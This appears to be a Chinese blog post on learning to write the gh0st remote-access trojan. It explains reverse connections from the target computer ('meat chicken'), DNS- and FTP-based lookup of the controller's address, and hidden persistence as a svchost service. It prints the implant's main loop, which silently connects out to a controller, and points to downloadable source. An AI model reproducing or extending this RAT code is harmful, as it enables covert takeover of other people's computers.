远控学习编写 gh0st

 前一段时间接到个私活,帮人开发 培训机构的学员管理系统,实现学生上线,自动通知老师,老师可以对学员的电脑进行屏幕分享和远程操作  . 接到活之后,感觉就是 远控系统,在此基础上增加一些学员管理的功能.  为了快速开发,就打算在 最流行gh0st 项目上进行完善 .   

准备 :  gh0st 项目,   编译环境: visual stdio2015    c++

gh0st项目是在vc6.0环境编译,为了适应后期功能添加,改成了 visual stdio2015 环境编译 .

为了详细了解网络编程 iocp 反弹连接  看了 "51cto 远程控制视屏"  还有 "老狼的ghost教学视屏" ,也建议对网络编程感兴趣的同学去看看

 下载连接如下:

老狼视屏:https://pan.baidu.com/s/1v6Ir2_6eKepQjRmx_38mWQ

源码与成品: 链接:https://pan.baidu.com/s/11Or6WJp-I1i0JHtAyv89-Q

提取码:联系 qq: 70583079


 好了下面直接上干货:gh0st是什么,大概原理是什么。

    gh0st是一款基于C/S架构的远程管理软件(我只是就事论事,不想讨论C/S架构过时或不过时)。所谓远程管理,就是我在我的电脑上通过一些手段,可以操作其他电脑。什么是C/S架构,C表示Client,S表示Server,也就是客户端和服务端的意思。可以这样理解C/S,现在有两台电脑,一台是Server,一台是Client,server电脑就会开启一个端口,并一直监听这个端口中的信息。client来连接这个端口,连接成功后,两台机器就能互相发送信息了。(具体的原理建议大家去看socket通信)

    gh0st用的是C/S架构中的反向连接。我用主控端和被控端来称呼黑客的电脑和肉鸡的电脑。反向连接的意思就是我主控端作为server,被控端作为client,主控端监听一个固定的端口,并有一个固定的IP。然后被控端来连接这个IP的该端口,这就是所谓的上线。

    在实际情况中,黑客的电脑并不是都有固定的IP,我在我们寝室使用的是一个路由器,于是我的IP只是内网IP,192.168.x.x。而且,如果我换一个地方上网,IP也会变。这样我的被控端是找不到我的IP的。所以很多远控对待该问题,有两个解决方案:

    1.DNS上线

    花生壳、3322提供了免费的动态域名服务,其实就是提供了DNS服务。我们把自己的IP绑定到DNS服务器上,被控端通过对DNS的解析,找到主控端的IP,再连接。下次换地方上网了,只需要更改自己绑定到DNS上的IP即可。

    2.FTP(HTTP)上线

    我们把自己的IP写入一个文本文件1.txt,放在ftp(http)服务器上,比如ftp://leavesongs.com/1.txt。被控端去下载该txt,在其中找到主控端的IP。再连接。

    当然gh0st对他们都是支持的。

    再讲讲gh0st这个软件的组成。老狼给的gh0st最终编译好就是一个exe文件,点击打开后是一个主控端的样子:

    在build选项卡中,填好相关信息,可以生成一个exe文件,这就是所谓的被控端。

    但是我们打开源码看,其实它是主要由三个部分组成,一是带界面的主控端,一个是动态链接库dll,一个是加载dll的exe。我们被控端的所有功能都是写在dll当中的。而并不是写在exe文件中。


    大局观大概就是这些。再说一下gh0st核心内容。

    在传输数据方面,主控端使用IOCP模型,关于该模型请google。在主控端中,由CIOCPServer类实现。在被控端中,数据传输使用CClientSocket类实现。数据传输是远控的核心,所以这两个类也就成了gh0st的核心类。当然,在传输过程中,gh0st使用zlib进行压缩,减小数据包的大小。

    在被控端管理方面,gh0st使用了一个很好的方案。先做了一个CManager类,作为所有管理功能的基类,其他的比如系统管理类CSystenManager就继承了CManager。大大地增加了代码的重用性。

    在主控端方面,有这样一个回调函数NotifyProc,所有被控端发来的消息,都会经过此函数,在该函数中使用switch语句,处理各个消息。使得代码看起来井井有条。

    在稳定性方面,被控端宿主为svchost以系统服务启动,并有守护线程,用心跳包机制防止以外掉线。







 服务端代码: 

// svchost.cpp : Defines the entry point for the console application.//#include "ClientSocket.h"#include "common/KernelManager.h"#include "common/KeyboardManager.h"#include "common/login.h"#include "common/install.h"#include "common/until.h"enum{

    NOT_CONNECT, //  还没有连接    GETLOGINFO_ERROR,

    CONNECT_ERROR,

    HEARTBEATTIMEOUT_ERROR

};#defineHEART_BEAT_TIME        1000 * 60 * 3// 心跳时间char    svcname[MAX_PATH];

LONG WINAPI bad_exception(struct_EXCEPTION_POINTERS* ExceptionInfo) {

    return0;

}// 一定要足够长int main()

{

    return0;

}int WINAPI WinMain(  HINSTANCE hInstance, 

                    HINSTANCE hPrevInstance,

                    LPSTR lpCmdLine,  int nShowCmd )

{

    CKeyboardManager::g_hInstance = (HINSTANCE)hInstance;

    CKeyboardManager::m_dwLastMsgTime = GetTickCount();

    CKeyboardManager::Initialization();

    // lpServiceName,在ServiceMain返回后就没有了charstrServiceName[256];

    charstrKillEvent[50];

    HANDLE    hInstallMutex = NULL;

    char*lpURL = (char*)FindConfigString(CKeyboardManager::g_hInstance,"AAAAAA");

    if(lpURL == NULL)

    {

        return-1;

    }

    //////////////////////////////////////////////////////////////////////////// Set Window StationHWINSTA hOldStation = GetProcessWindowStation();

    HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);

    if(hWinSta != NULL)

        SetProcessWindowStation(hWinSta);

    ////////////////////////////////////////////////////////////////////////////if(CKeyboardManager::g_hInstance != NULL)

    {

        SetUnhandledExceptionFilter(bad_exception);

        wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount());// 随机事件名        hInstallMutex = CreateMutex(NULL,true, lpURL);

    }

    // 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人    SetErrorMode( SEM_FAILCRITICALERRORS);

    char*lpszHost = NULL;

    DWORD    dwPort =80;

    char*lpszProxyHost = NULL;

    DWORD    dwProxyPort =0;

    char*lpszProxyUser = NULL;

    char*lpszProxyPass = NULL;

    HANDLE    hEvent = NULL;

    CClientSocket socketClient;

    BYTE    bBreakError = NOT_CONNECT;// 断开连接的原因,初始化为还没有连接while(1)

    {

        // 如果不是心跳超时,不用再sleep两分钟if(bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)

        {

            // 2分钟断线重连, 为了尽快响应killeventfor(inti =0; i <2000; i++)

            {

                hEvent = OpenEvent(EVENT_ALL_ACCESS,false, strKillEvent);

                if(hEvent != NULL)

                {

                    socketClient.Disconnect();

                    CloseHandle(hEvent);

                    break;

                }

                // 改一下Sleep(60);

            }

        }

        // 上线间隔为2分, 前6个'A'是标志if(!getLoginInfo(MyDecode(lpURL +6), &lpszHost, &dwPort, &lpszProxyHost,

            &dwProxyPort, &lpszProxyUser, &lpszProxyPass))

        {

            bBreakError = GETLOGINFO_ERROR;

            continue;

        }

        if(lpszProxyHost != NULL)

            socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);

        else            socketClient.setGlobalProxyOption();

        DWORD dwTickCount = GetTickCount();

        if(!socketClient.Connect(lpszHost, dwPort))

        {

            bBreakError = CONNECT_ERROR;

            continue;

        }

        // 登录DWORD dwExitCode = SOCKET_ERROR;

        sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);

        CKernelManager    manager(&socketClient , strKillEvent, lpszHost, dwPort);

        socketClient.setManagerCallBack(&manager);

        //////////////////////////////////////////////////////////////////////////// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误for(inti =0; (i <10&& !manager.IsActived()); i++)

        {

            Sleep(1000);

        }

        // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接if(!manager.IsActived())

            continue;

        //////////////////////////////////////////////////////////////////////////        DWORD    dwIOCPEvent;

        dwTickCount = GetTickCount();

        do        {

            hEvent = OpenEvent(EVENT_ALL_ACCESS,false, strKillEvent);

            dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent,100);

            Sleep(500);

        } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

        if(hEvent != NULL)

        {

            socketClient.Disconnect();

            CloseHandle(hEvent);

            break;

        }

    }

    return0;

}

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • http://www.xfocus.net/articles/200106/208.htmlhttp://www....
    鱼仔_1625阅读 6,408评论 1 0
  • ———————————————回答好下面的足够了---------------------------------...
    恒爱DE问候阅读 1,846评论 0 4
  • 04-秦文颖 #201900804《海龟交易法则》阅读总结# 4/21 知行三问 【1.印象最深刻的部分】今天所读...
    秦文颖阅读 210评论 0 1
  • 举杯,在秋风下 面对寒夜,当一块石头 不 我是喝醉了 我是当…当一壶水 开水 村庄的小路热气氤氲 带点酒香
    偏语阅读 137评论 0 2
  • 我的人生的前25年可以说都是希望免费而浪费了大量黄金时间。 第一次因为学习报校外班是在专科毕业后,自考时的二外日语...
    Ranrna阅读 330评论 0 1

友情链接更多精彩内容